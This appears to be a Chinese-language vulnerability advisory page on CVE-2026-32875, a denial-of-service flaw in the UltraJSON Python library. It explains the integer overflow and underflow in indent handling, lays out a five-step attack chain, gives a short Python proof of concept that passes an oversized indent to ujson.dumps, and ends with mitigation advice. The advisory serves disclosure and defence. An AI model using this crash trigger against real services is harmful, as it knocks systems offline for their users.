IPBUF安全漏洞报告
English
CVE-2026-32875 CVSS 7.5 高危

CVE-2026-32875 UltraJSON拒绝服务漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32875
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
UltraJSON

相关标签

拒绝服务DoS缓冲区溢出整数溢出UltraJSONPython

漏洞概述

UltraJSON 是 Python 的快速 JSON 编解码器。其 5.10 至 5.11.0 版本存在安全漏洞,涉及通过大缩进处理导致的缓冲区溢出或无限循环。当缩进参数与嵌套深度的乘积超过 INT32_MAX 时,调用 ujson.dumps() 会导致 Python 解释器崩溃。若缩进为较大的负数,程序可能陷入无限循环。该漏洞由计算缩进内存时的整数溢出或下溢引起,攻击者可利用此漏洞发起拒绝服务攻击。

技术细节

该漏洞的核心在于 UltraJSON 在处理 JSON 格式化输出时,用于计算缩进所需内存的算法存在缺陷。具体而言,代码在计算内存大小时使用了 indent * depth 的乘积,且未进行充分的边界检查。当该乘积超过 INT32_MAX 时发生整数上溢,导致分配的缓冲区过小,后续写入操作引发缓冲区溢出并导致 Python 解释器崩溃(段错误)。此外,当 indent 为较大的负数时,计算过程会发生整数下溢。特别是在输入数据至少包含一层嵌套结构时,下溢会导致循环条件判断失效,使程序陷入死循环。攻击者若能控制 indent 参数或提供特定深度的嵌套数据,即可远程触发这些异常,导致目标服务资源耗尽或进程终止,从而实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别目标服务使用了存在漏洞的 UltraJSON 库版本(5.10 至 5.11.0),并确认该服务允许外部控制 JSON 序列化的 indent 参数。
STEP 2
构造攻击载荷
攻击者构造特定的 JSON 数据和参数。为了触发崩溃,设置一个极大的 indent 值(如 >2^31)或设置一个极大的负数 indent 值。
STEP 3
发送恶意请求
攻击者向目标服务发送包含恶意 indent 参数的请求,服务端调用 ujson.dumps() 处理该请求。
STEP 4
触发漏洞
服务端在计算缩进内存时发生整数上溢或下溢,导致缓冲区溢出造成 Python 解释器崩溃,或陷入死循环消耗 CPU 资源。
STEP 5
达成拒绝服务
目标服务进程终止或资源耗尽,无法响应正常用户的请求,达成拒绝服务攻击目的。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import ujson import sys # PoC for CVE-2026-32875 # This PoC demonstrates the Denial of Service vulnerability in UltraJSON. # Case 1: Integer Overflow leading to Segmentation Fault # Trigger condition: product of indent parameter and nested depth > INT32_MAX print("Testing Case 1: Integer Overflow (Segfault)") try: # INT32_MAX is 2147483647. Using a value larger than this for indent # with any depth >= 1 will trigger the overflow. large_indent = 2147483648 data = {"key": "value"} print(f"Calling dumps with indent={large_indent}") # This line is expected to crash the Python interpreter result = ujson.dumps(data, indent=large_indent) print("Result:", result) except Exception as e: print(f"Exception caught: {e}") # Case 2: Infinite Loop with large negative indent # Trigger condition: indent is a large negative number and data is nested print("\nTesting Case 2: Infinite Loop (Skipped to prevent hang)") print("To test the infinite loop, uncomment the code below:") print("# large_negative_indent = -2147483649") print("# nested_data = {'a': {'b': 'c'}}") print("# ujson.dumps(nested_data, indent=large_negative_indent)")

影响范围

UltraJSON 5.10
UltraJSON 5.11.0

防御指南

临时缓解措施
无法立即升级时,应在调用 ujson.dumps 之前对 indent 参数进行过滤,确保其为非负数且不超过安全阈值(例如 100)。同时,避免使用固定的负缩进值,防止整数下溢导致的死循环。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表